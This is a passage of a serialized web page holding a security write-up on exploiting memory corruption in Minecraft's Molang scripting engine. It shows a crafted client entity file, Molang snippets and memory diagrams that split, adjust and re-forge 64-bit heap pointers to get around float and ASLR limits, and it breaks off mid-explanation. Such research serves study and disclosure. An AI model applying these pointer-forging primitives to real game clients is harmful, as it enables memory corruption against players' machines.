}\n}\n",[158360],{"type":24,"tag":80,"props":158361,"children":158362},{"__ignoreMap":7},[158363,158370,158391,158403,158415,158436,158443,158450,158457,158469,158482,158494,158506,158518,158534,158541,158553,158561,158569,158576,158583,158590],{"type":24,"tag":147,"props":158364,"children":158365},{"class":149,"line":150},[158366],{"type":24,"tag":147,"props":158367,"children":158368},{"style":235},[158369],{"type":29,"value":278},{"type":24,"tag":147,"props":158371,"children":158372},{"class":149,"line":160},[158373,158378,158382,158387],{"type":24,"tag":147,"props":158374,"children":158375},{"style":247},[158376],{"type":29,"value":158377},"  \"format_version\"",{"type":24,"tag":147,"props":158379,"children":158380},{"style":235},[158381],{"type":29,"value":20943},{"type":24,"tag":147,"props":158383,"children":158384},{"style":3534},[158385],{"type":29,"value":158386},"\"1.10.0\"",{"type":24,"tag":147,"props":158388,"children":158389},{"style":235},[158390],{"type":29,"value":1549},{"type":24,"tag":147,"props":158392,"children":158393},{"class":149,"line":169},[158394,158399],{"type":24,"tag":147,"props":158395,"children":158396},{"style":247},[158397],{"type":29,"value":158398},"  \"minecraft:client_entity\"",{"type":24,"tag":147,"props":158400,"children":158401},{"style":235},[158402],{"type":29,"value":42621},{"type":24,"tag":147,"props":158404,"children":158405},{"class":149,"line":178},[158406,158411],{"type":24,"tag":147,"props":158407,"children":158408},{"style":247},[158409],{"type":29,"value":158410},"    \"description\"",{"type":24,"tag":147,"props":158412,"children":158413},{"style":235},[158414],{"type":29,"value":42621},{"type":24,"tag":147,"props":158416,"children":158417},{"class":149,"line":187},[158418,158423,158427,158432],{"type":24,"tag":147,"props":158419,"children":158420},{"style":247},[158421],{"type":29,"value":158422},"      \"identifier\"",{"type":24,"tag":147,"props":158424,"children":158425},{"style":235},[158426],{"type":29,"value":20943},{"type":24,"tag":147,"props":158428,"children":158429},{"style":3534},[158430],{"type":29,"value":158431},"\"minecraft:leash_knot\"",{"type":24,"tag":147,"props":158433,"children":158434},{"style":235},[158435],{"type":29,"value":1549},{"type":24,"tag":147,"props":158437,"children":158438},{"class":149,"line":196},[158439],{"type":24,"tag":147,"props":158440,"children":158441},{"emptyLinePlaceholder":16},[158442],{"type":29,"value":314},{"type":24,"tag":147,"props":158444,"children":158445},{"class":149,"line":205},[158446],{"type":24,"tag":147,"props":158447,"children":158448},{"style":28009},[158449],{"type":29,"value":3951},{"type":24,"tag":147,"props":158451,"children":158452},{"class":149,"line":214},[158453],{"type":24,"tag":147,"props":158454,"children":158455},{"style":235},[158456],{"type":29,"value":157540},{"type":24,"tag":147,"props":158458,"children":158459},{"class":149,"line":272},[158460,158465],{"type":24,"tag":147,"props":158461,"children":158462},{"style":247},[158463],{"type":29,"value":158464},"      \"scripts\"",{"type":24,"tag":147,"props":158466,"children":158467},{"style":235},[158468],{"type":29,"value":42621},{"type":24,"tag":147,"props":158470,"children":158471},{"class":149,"line":281},[158472,158477],{"type":24,"tag":147,"props":158473,"children":158474},{"style":247},[158475],{"type":29,"value":158476},"        \"initialize\"",{"type":24,"tag":147,"props":158478,"children":158479},{"style":235},[158480],{"type":29,"value":158481},": [\n",{"type":24,"tag":147,"props":158483,"children":158484},{"class":149,"line":299},[158485,158490],{"type":24,"tag":147,"props":158486,"children":158487},{"style":3534},[158488],{"type":29,"value":158489},"          \"variable.a = 0;\"",{"type":24,"tag":147,"props":158491,"children":158492},{"style":235},[158493],{"type":29,"value":1549},{"type":24,"tag":147,"props":158495,"children":158496},{"class":149,"line":308},[158497,158502],{"type":24,"tag":147,"props":158498,"children":158499},{"style":3534},[158500],{"type":29,"value":158501},"          \"variable.b = 0;\"",{"type":24,"tag":147,"props":158503,"children":158504},{"style":235},[158505],{"type":29,"value":1549},{"type":24,"tag":147,"props":158507,"children":158508},{"class":149,"line":317},[158509,158514],{"type":24,"tag":147,"props":158510,"children":158511},{"style":3534},[158512],{"type":29,"value":158513},"          \"variable.c = 0;\"",{"type":24,"tag":147,"props":158515,"children":158516},{"style":235},[158517],{"type":29,"value":1549},{"type":24,"tag":147,"props":158519,"children":158520},{"class":149,"line":332},[158521,158526,158530],{"type":24,"tag":147,"props":158522,"children":158523},{"style":235},[158524],{"type":29,"value":158525},"          [",{"type":24,"tag":147,"props":158527,"children":158528},{"style":28009},[158529],{"type":29,"value":15212},{"type":24,"tag":147,"props":158531,"children":158532},{"style":235},[158533],{"type":29,"value":17391},{"type":24,"tag":147,"props":158535,"children":158536},{"class":149,"line":350},[158537],{"type":24,"tag":147,"props":158538,"children":158539},{"style":235},[158540],{"type":29,"value":49246},{"type":24,"tag":147,"props":158542,"children":158543},{"class":149,"line":358},[158544,158549],{"type":24,"tag":147,"props":158545,"children":158546},{"style":247},[158547],{"type":29,"value":158548},"        \"pre_animation\"",{"type":24,"tag":147,"props":158550,"children":158551},{"style":235},[158552],{"type":29,"value":158481},{"type":24,"tag":147,"props":158554,"children":158555},{"class":149,"line":397},[158556],{"type":24,"tag":147,"props":158557,"children":158558},{"style":3534},[158559],{"type":29,"value":158560},"          \"variable.a = 2.310732e-27;\"\n",{"type":24,"tag":147,"props":158562,"children":158563},{"class":149,"line":421},[158564],{"type":24,"tag":147,"props":158565,"children":158566},{"style":235},[158567],{"type":29,"value":158568},"        ]\n",{"type":24,"tag":147,"props":158570,"children":158571},{"class":149,"line":435},[158572],{"type":24,"tag":147,"props":158573,"children":158574},{"style":235},[158575],{"type":29,"value":42798},{"type":24,"tag":147,"props":158577,"children":158578},{"class":149,"line":444},[158579],{"type":24,"tag":147,"props":158580,"children":158581},{"style":235},[158582],{"type":29,"value":1952},{"type":24,"tag":147,"props":158584,"children":158585},{"class":149,"line":452},[158586],{"type":24,"tag":147,"props":158587,"children":158588},{"style":235},[158589],{"type":29,"value":11496},{"type":24,"tag":147,"props":158591,"children":158592},{"class":149,"line":461},[158593],{"type":24,"tag":147,"props":158594,"children":158595},{"style":235},[158596],{"type":29,"value":827},{"type":24,"tag":25,"props":158598,"children":158599},{},[158600,158602,158607,158609,158614,158616,158621],{"type":29,"value":158601},"As shown, the pointer of a variable at offset ",{"type":24,"tag":80,"props":158603,"children":158605},{"className":158604},[],[158606],{"type":29,"value":157651},{"type":29,"value":158608}," was modified and the core concept works. During ",{"type":24,"tag":80,"props":158610,"children":158612},{"className":158611},[],[158613],{"type":29,"value":157609},{"type":29,"value":158615}," copy, pointers of some other variables above offset ",{"type":24,"tag":80,"props":158617,"children":158619},{"className":158618},[],[158620],{"type":29,"value":157651},{"type":29,"value":158622}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":24,"tag":25,"props":158624,"children":158625},{},[158626],{"type":29,"value":158627},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":24,"tag":22292,"props":158629,"children":158630},{},[158631,158644],{"type":24,"tag":2678,"props":158632,"children":158633},{},[158634,158636,158642],{"type":29,"value":158635},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":24,"tag":80,"props":158637,"children":158639},{"className":158638},[],[158640],{"type":29,"value":158641},"FLT_MAX",{"type":29,"value":158643},", the value becomes an invalid float causing the increment operation to fail.",{"type":24,"tag":2678,"props":158645,"children":158646},{},[158647,158649,158654,158656,158661,158662,158667,158669,158674],{"type":29,"value":158648},"As noted before, during assignment, ",{"type":24,"tag":80,"props":158650,"children":158652},{"className":158651},[],[158653],{"type":29,"value":157609},{"type":29,"value":158655}," fields are copied, and the ",{"type":24,"tag":80,"props":158657,"children":158659},{"className":158658},[],[158660],{"type":29,"value":5037},{"type":29,"value":157699},{"type":24,"tag":80,"props":158663,"children":158665},{"className":158664},[],[158666],{"type":29,"value":61222},{"type":29,"value":158668},". Since our source ",{"type":24,"tag":80,"props":158670,"children":158672},{"className":158671},[],[158673],{"type":29,"value":157609},{"type":29,"value":158675}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":24,"tag":25,"props":158677,"children":158678},{},[158679],{"type":29,"value":158680},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":24,"tag":112,"props":158682,"children":158684},{"id":158683},"expanding-the-idea",[158685],{"type":29,"value":158686},"Expanding the Idea",{"type":24,"tag":25,"props":158688,"children":158689},{},[158690,158692,158697,158699,158704,158705,158710,158712,158717],{"type":29,"value":158691},"As mentioned earlier, the ",{"type":24,"tag":80,"props":158693,"children":158695},{"className":158694},[],[158696],{"type":29,"value":38357},{"type":29,"value":158698}," field of ",{"type":24,"tag":80,"props":158700,"children":158702},{"className":158701},[],[158703],{"type":29,"value":157609},{"type":29,"value":6365},{"type":24,"tag":80,"props":158706,"children":158708},{"className":158707},[],[158709],{"type":29,"value":2184},{"type":29,"value":158711},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":24,"tag":80,"props":158713,"children":158715},{"className":158714},[],[158716],{"type":29,"value":5037},{"type":29,"value":158718}," field remain unchanged before and after Molang execution.",{"type":24,"tag":25,"props":158720,"children":158721},{},[158722,158724,158729],{"type":29,"value":158723},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":24,"tag":80,"props":158725,"children":158727},{"className":158726},[],[158728],{"type":29,"value":157717},{"type":29,"value":158730},"’s allocated buffer + 4.",{"type":24,"tag":25,"props":158732,"children":158733},{},[158734,158736,158741,158743,158748,158750,158755,158756,158762],{"type":29,"value":158735},"In the example below, ",{"type":24,"tag":80,"props":158737,"children":158739},{"className":158738},[],[158740],{"type":29,"value":158143},{"type":29,"value":158742}," points to ",{"type":24,"tag":80,"props":158744,"children":158746},{"className":158745},[],[158747],{"type":29,"value":157717},{"type":29,"value":158749},", while ",{"type":24,"tag":80,"props":158751,"children":158753},{"className":158752},[],[158754],{"type":29,"value":158157},{"type":29,"value":158742},{"type":24,"tag":80,"props":158757,"children":158759},{"className":158758},[],[158760],{"type":29,"value":158761},"MolangVariableMap + 4",{"type":29,"value":978},{"type":24,"tag":137,"props":158764,"children":158766},{"code":158765},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[158767],{"type":24,"tag":80,"props":158768,"children":158769},{"__ignoreMap":7},[158770],{"type":29,"value":158765},{"type":24,"tag":25,"props":158772,"children":158773},{},[158774,158776,158781,158782,158787,158789,158794,158796,158801,158803,158808],{"type":29,"value":158775},"Here, the ",{"type":24,"tag":80,"props":158777,"children":158779},{"className":158778},[],[158780],{"type":29,"value":5037},{"type":29,"value":158698},{"type":24,"tag":80,"props":158783,"children":158785},{"className":158784},[],[158786],{"type":29,"value":158143},{"type":29,"value":158788}," starts at the lower 32 bits of the ",{"type":24,"tag":80,"props":158790,"children":158792},{"className":158791},[],[158793],{"type":29,"value":158213},{"type":29,"value":158795}," pointer, while ",{"type":24,"tag":80,"props":158797,"children":158799},{"className":158798},[],[158800],{"type":29,"value":158157},{"type":29,"value":158802}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":24,"tag":80,"props":158804,"children":158806},{"className":158805},[],[158807],{"type":29,"value":158213},{"type":29,"value":158809}," pointer in a separate variable:",{"type":24,"tag":137,"props":158811,"children":158813},{"code":158812},"variable.saved_upper_32 = variable.b;\n",[158814],{"type":24,"tag":80,"props":158815,"children":158816},{"__ignoreMap":7},[158817],{"type":29,"value":158812},{"type":24,"tag":25,"props":158819,"children":158820},{},[158821],{"type":29,"value":158822},"Then we can modify the lower 32 bits of the pointer:",{"type":24,"tag":137,"props":158824,"children":158826},{"code":158825},"variable.a = variable.a + itof(0x8);\n",[158827],{"type":24,"tag":80,"props":158828,"children":158829},{"__ignoreMap":7},[158830],{"type":29,"value":158825},{"type":24,"tag":25,"props":158832,"children":158833},{},[158834],{"type":29,"value":158835},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":24,"tag":137,"props":158837,"children":158839},{"code":158838},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[158840],{"type":24,"tag":80,"props":158841,"children":158842},{"__ignoreMap":7},[158843],{"type":29,"value":158838},{"type":24,"tag":25,"props":158845,"children":158846},{},[158847,158849,158854],{"type":29,"value":158848},"Since the 32 bits directly below the ",{"type":24,"tag":80,"props":158850,"children":158852},{"className":158851},[],[158853],{"type":29,"value":5037},{"type":29,"value":158855}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":24,"tag":137,"props":158857,"children":158859},{"code":158858},"variable.b = variable.saved_upper_32;\n",[158860],{"type":24,"tag":80,"props":158861,"children":158862},{"__ignoreMap":7},[158863],{"type":29,"value":158858},{"type":24,"tag":25,"props":158865,"children":158866},{},[158867,158869,158874],{"type":29,"value":158868},"Now ",{"type":24,"tag":80,"props":158870,"children":158872},{"className":158871},[],[158873],{"type":29,"value":158213},{"type":29,"value":158875}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":24,"tag":137,"props":158877,"children":158879},{"code":158878},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[158880],{"type":24,"tag":80,"props":158881,"children":158882},{"__ignoreMap":7},[158883],{"type":29,"value":158878},{"type":24,"tag":25,"props":158885,"children":158886},{},[158887,158889,158894],{"type":29,"value":158888},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":24,"tag":80,"props":158890,"children":158892},{"className":158891},[],[158893],{"type":29,"value":158761},{"type":29,"value":158895}," on the heap?",{"type":24,"tag":25,"props":158897,"children":158898},{},[158899,158901,158906,158908,158914],{"type":29,"value":158900},"Additionally, adding 8 to ",{"type":24,"tag":80,"props":158902,"children":158904},{"className":158903},[],[158905],{"type":29,"value":158143},{"type":29,"value":158907}," in the example above wouldn’t work because ",{"type":24,"tag":80,"props":158909,"children":158911},{"className":158910},[],[158912],{"type":29,"value":158913},"0xddccbba0",{"type":29,"value":158915}," is not a valid float. So the first issue still remains unresolved.",{"type":24,"tag":112,"props":158917,"children":158919},{"id":158918},"the-final-approach",[158920],{"type":29,"value":158921},"The Final Approach",{"type":24,"tag":25,"props":158923,"children":158924},{},[158925,158927,158932,158934,158940],{"type":29,"value":158926},"We realized that instead of having the second pointer at ",{"type":24,"tag":80,"props":158928,"children":158930},{"className":158929},[],[158931],{"type":29,"value":158761},{"type":29,"value":158933},", we could instead have it at ",{"type":24,"tag":80,"props":158935,"children":158937},{"className":158936},[],[158938],{"type":29,"value":158939},"MolangVariableMap + 2",{"type":29,"value":158941},", which would resolve both of our issues.",{"type":24,"tag":25,"props":158943,"children":158944},{},[158945,158947,158952,158953,158958],{"type":29,"value":158946},"Let’s revisit the previous example, but this time ",{"type":24,"tag":80,"props":158948,"children":158950},{"className":158949},[],[158951],{"type":29,"value":158157},{"type":29,"value":158742},{"type":24,"tag":80,"props":158954,"children":158956},{"className":158955},[],[158957],{"type":29,"value":158939},{"type":29,"value":978},{"type":24,"tag":137,"props":158960,"children":158962},{"code":158961},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[158963],{"type":24,"tag":80,"props":158964,"children":158965},{"__ignoreMap":7},[158966],{"type":29,"value":158961},{"type":24,"tag":25,"props":158968,"children":158969},{},[158970,158972,158977],{"type":29,"value":158971},"With this setup, we can calculate any address relative to ",{"type":24,"tag":80,"props":158973,"children":158975},{"className":158974},[],[158976],{"type":29,"value":158213},{"type":29,"value":158978}," by first saving the upper 48 bits of the address:",{"type":24,"tag":137,"props":158980,"children":158982},{"code":158981},"variable.saved_upper_48 = variable.b;\n",[158983],{"type":24,"tag":80,"props":158984,"children":158985},{"__ignoreMap":7},[158986],{"type":29,"value":158981},{"type":24,"tag":25,"props":158988,"children":158989},{},[158990,158991,158997,158999,159005],{"type":29,"value":6358},{"type":24,"tag":80,"props":158992,"children":158994},{"className":158993},[],[158995],{"type":29,"value":158996},"variable.saved_upper_48",{"type":29,"value":158998}," holds the value ",{"type":24,"tag":80,"props":159000,"children":159002},{"className":159001},[],[159003],{"type":29,"value":159004},"0x1c80ddcc",{"type":29,"value":87},{"type":24,"tag":25,"props":159007,"children":159008},{},[159009],{"type":29,"value":159010},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":24,"tag":137,"props":159012,"children":159014},{"code":159013},"variable.b = 0;\n",[159015],{"type":24,"tag":80,"props":159016,"children":159017},{"__ignoreMap":7},[159018],{"type":29,"value":159013},{"type":24,"tag":25,"props":159020,"children":159021},{},[159022],{"type":29,"value":159023},"Resulting in the following state:",{"type":24,"tag":137,"props":159025,"children":159027},{"code":159026},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[159028],{"type":24,"tag":80,"props":159029,"children":159030},{"__ignoreMap":7},[159031],{"type":29,"value":159026},{"type":24,"tag":25,"props":159033,"children":159034},{},[159035,159037,159042,159044,159050,159052,159057],{"type":29,"value":159036},"Now, the value of ",{"type":24,"tag":80,"props":159038,"children":159040},{"className":159039},[],[159041],{"type":29,"value":158143},{"type":29,"value":159043}," only spans 16 bits (",{"type":24,"tag":80,"props":159045,"children":159047},{"className":159046},[],[159048],{"type":29,"value":159049},"0xbba0",{"type":29,"value":159051}," specifically), which is always a valid float since it’s far below ",{"type":24,"tag":80,"props":159053,"children":159055},{"className":159054},[],[159056],{"type":29,"value":158641},{"type":29,"value":87},{"type":24,"tag":25,"props":159059,"children":159060},{},[159061,159063,159068],{"type":29,"value":159062},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":24,"tag":80,"props":159064,"children":159066},{"className":159065},[],[159067],{"type":29,"value":158143},{"type":29,"value":978},{"type":24,"tag":137,"props":159070,"children":159071},{"code":158825},[159072],{"type":24,"tag":80,"props":159073,"children":159074},{"__ignoreMap":7},[159075],{"type":29,"value":158825},{"type":24,"tag":25,"props":159077,"children":159078},{},[159079],{"type":29,"value":159080},"Which results in:",{"type":24,"tag":137,"props":159082,"children":159084},{"code":159083},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[159085],{"type":24,"tag":80,"props":159086,"children":159087},{"__ignoreMap":7},[159088],{"type":29,"value":159083},{"type":24,"tag":25,"props":159090,"children":159091},{},[159092],{"type":29,"value":159093},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":24,"tag":137,"props":159095,"children":159097},{"code":159096},"variable.b = variable.saved_upper_48;\n",[159098],{"type":24,"tag":80,"props":159099,"children":159100},{"__ignoreMap":7},[159101],{"type":29,"value":159096},{"type":24,"tag":25,"props":159103,"children":159104},{},[159105],{"type":29,"value":159106},"Yielding a valid pointer again:",{"type":24,"tag":137,"props":159108,"children":159110},{"code":159109},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[159111],{"type":24,"tag":80,"props":159112,"children":159113},{"__ignoreMap":7},[159114],{"type":29,"value":159109},{"type":24,"tag":25,"props":159116,"children":159117},{},[159118],{"type":29,"value":159119},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":24,"tag":137,"props":159121,"children":159123},{"code":159122},"variable.saved_adjusted_lower_16 = variable.a;\n",[159124],{"type":24,"tag":80,"props":159125,"children":159126},{"__ignoreMap":7},[159127],{"type":29,"value":159122},{"type":24,"tag":25,"props":159129,"children":159130},{},[159131],{"type":29,"value":159132},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":24,"tag":137,"props":159134,"children":159136},{"code":159135},"variable.a = variable.saved_upper_48;\n",[159137],{"type":24,"tag":80,"props":159138,"children":159139},{"__ignoreMap":7},[159140],{"type":29,"value":159135},{"type":24,"tag":25,"props":159142,"children":159143},{},[159144],{"type":29,"value":159145},"This produces the following state:",{"type":24,"tag":137,"props":159147,"children":159149},{"code":159148},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[159150],{"type":24,"tag":80,"props":159151,"children":159152},{"__ignoreMap":7},[159153],{"type":29,"value":159148},{"type":24,"tag":25,"props":159155,"children":159156},{},[159157,159159,159164,159166,159172,159174,159180,159182,159187,159189,159194],{"type":29,"value":159158},"As shown, ",{"type":24,"tag":80,"props":159160,"children":159162},{"className":159161},[],[159163],{"type":29,"value":158157},{"type":29,"value":159165}," now contains the upper 16 bits of the address (",{"type":24,"tag":80,"props":159167,"children":159169},{"className":159168},[],[159170],{"type":29,"value":159171},"0x1c80",{"type":29,"value":159173},"), which we can store as ",{"type":24,"tag":80,"props":159175,"children":159177},{"className":159176},[],[159178],{"type":29,"value":159179},"variable.saved_upper_16 = variable.b",{"type":29,"value":159181},". Meanwhile, ",{"type":24,"tag":80,"props":159183,"children":159185},{"className":159184},[],[159186],{"type":29,"value":158143},{"type":29,"value":159188}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":24,"tag":80,"props":159190,"children":159192},{"className":159191},[],[159193],{"type":29,"value":158157},{"type":29,"value":978},{"type":24,"tag":137,"props":159196,"children":159197},{"code":159013},[159198],{"type":24,"tag":80,"props":159199,"children":159200},{"__ignoreMap":7},[159201],{"type":29,"value":159013},{"type":24,"tag":25,"props":159203,"children":159204},{},[159205],{"type":29,"value":159206},"Leaving us with:",{"type":24,"tag":137,"props":159208,"children":159210},{"code":159209},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[159211],{"type":24,"tag":80,"props":159212,"children":159213},{"__ignoreMap":7},[159214],{"type":29,"value":159209},{"type":24,"tag":25,"props":159216,"children":159217},{},[159218],{"type":29,"value":159219},"We can now save the middle 16 bits:",{"type":24,"tag":137,"props":159221,"children":159223},{"code":159222},"variable.saved_middle_16 = variable.a;\n",[159224],{"type":24,"tag":80,"props":159225,"children":159226},{"__ignoreMap":7},[159227],{"type":29,"value":159222},{"type":24,"tag":25,"props":159229,"children":159230},{},[159231],{"type":29,"value":159232},"At this point, we have:",{"type":24,"tag":137,"props":159234,"children":159236},{"code":159235},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[159237],{"type":24,"tag":80,"props":159238,"children":159239},{"__ignoreMap":7},[159240],{"type":29,"value":159235},{"type":24,"tag":25,"props":159242,"children":159243},{},[159244],{"type":29,"value":159245},"All three parts are valid float values, ensuring deterministic calculations.",{"type":24,"tag":25,"props":159247,"children":159248},{},[159249],{"type":29,"value":159250},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":24,"tag":137,"props":159252,"children":159254},{"code":159253},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[159255],{"type":24,"tag":80,"props":159256,"children":159257},{"__ignoreMap":7},[159258],{"type":29,"value":159253},{"type":24,"tag":25,"props":159260,"children":159261},{},[159262],{"type":29,"value":159263},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":24,"tag":137,"props":159265,"children":159267},{"code":159266},"variable.a = variable.saved_adjusted_middle_16;\n",[159268],{"type":24,"tag":80,"props":159269,"children":159270},{"__ignoreMap":7},[159271],{"type":29,"value":159266},{"type":24,"tag":25,"props":159273,"children":159274},{},[159275,159277,159282,159283,159289,159290,159296],{"type":29,"value":159276},"Setting ",{"type":24,"tag":80,"props":159278,"children":159280},{"className":159279},[],[159281],{"type":29,"value":158143},{"type":29,"value":62364},{"type":24,"tag":80,"props":159284,"children":159286},{"className":159285},[],[159287],{"type":29,"value":159288},"0xddcd",{"type":29,"value":408},{"type":24,"tag":80,"props":159291,"children":159293},{"className":159292},[],[159294],{"type":29,"value":159295},"0xddcc + 1",{"type":29,"value":159297},"), and then:",{"type":24,"tag":137,"props":159299,"children":159301},{"code":159300},"variable.b = variable.saved_adjusted_upper_16;\n",[159302],{"type":24,"tag":80,"props":159303,"children":159304},{"__ignoreMap":7},[159305],{"type":29,"value":159300},{"type":24,"tag":25,"props":159307,"children":159308},{},[159309,159311,159316,159318,159324,159325,159331],{"type":29,"value":159310},"Resulting in ",{"type":24,"tag":80,"props":159312,"children":159314},{"className":159313},[],[159315],{"type":29,"value":158157},{"type":29,"value":159317}," value becoming ",{"type":24,"tag":80,"props":159319,"children":159321},{"className":159320},[],[159322],{"type":29,"value":159323},"0x1c81",{"type":29,"value":408},{"type":24,"tag":80,"props":159326,"children":159328},{"className":159327},[],[159329],{"type":29,"value":159330},"0x1c80 + 1",{"type":29,"value":4014},{"type":24,"tag":137,"props":159333,"children":159335},{"code":159334},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[159336],{"type":24,"tag":80,"props":159337,"children":159338},{"__ignoreMap":7},[159339],{"type":29,"value":159334},{"type":24,"tag":25,"props":159341,"children":159342},{},[159343],{"type":29,"value":159344},"Now we save the adjusted upper 48 bits:",{"type":24,"tag":137,"props":159346,"children":159348},{"code":159347},"variable.saved_adjusted_upper_48 = variable.a;\n",[159349],{"type":24,"tag":80,"props":159350,"children":159351},{"__ignoreMap":7},[159352],{"type":29,"value":159347},{"type":24,"tag":25,"props":159354,"children":159355},{},[159356],{"type":29,"value":159357},"Finally, we attach the lower 16 bits:",{"type":24,"tag":137,"props":159359,"children":159361},{"code":159360},"variable.a = variable.saved_adjusted_lower_16;\n",[159362],{"type":24,"tag":80,"props":159363,"children":159364},{"__ignoreMap":7},[159365],{"type":29,"value":159360},{"type":24,"tag":137,"props":159367,"children":159369},{"code":159368},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[159370],{"type":24,"tag":80,"props":159371,"children":159372},{"__ignoreMap":7},[159373],{"type":29,"value":159368},{"type":24,"tag":25,"props":159375,"children":159376},{},[159377],{"type":29,"value":159378},"And by setting:",{"type":24,"tag":137,"props":159380,"children":159382},{"code":159381},"variable.b = variable.saved_adjusted_upper_48;\n",[159383],{"type":24,"tag":80,"props":159384,"children":159385},{"__ignoreMap":7},[159386],{"type":29,"value":159381},{"type":24,"tag":25,"props":159388,"children":159389},{},[159390],{"type":29,"value":159391},"We forge the final adjusted pointer:",{"type":24,"tag":137,"props":159393,"children":159395},{"code":159394},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[159396],{"type":24,"tag":80,"props":159397,"children":159398},{"__ignoreMap":7},[159399],{"type":29,"value":159394},{"type":24,"tag":2665,"props":159401,"children":159402},{},[],{"type":24,"tag":25,"props":159404,"children":159405},{},[159406,159408,159413],{"type":29,"value":159407},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":24,"tag":80,"props":159409,"children":159411},{"className":159410},[],[159412],{"type":29,"value":158939},{"type":29,"value":158895},{"type":24,"tag":25,"props":159415,"children":159416},{},[159417,159419,159424,159426,159431,159433,159439,159441,159446],{"type":29,"value":159418},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":24,"tag":80,"props":159420,"children":159422},{"className":159421},[],[159423],{"type":29,"value":158939},{"type":29,"value":159425},". Instead, we need any two pointers on the heap - one pointing to 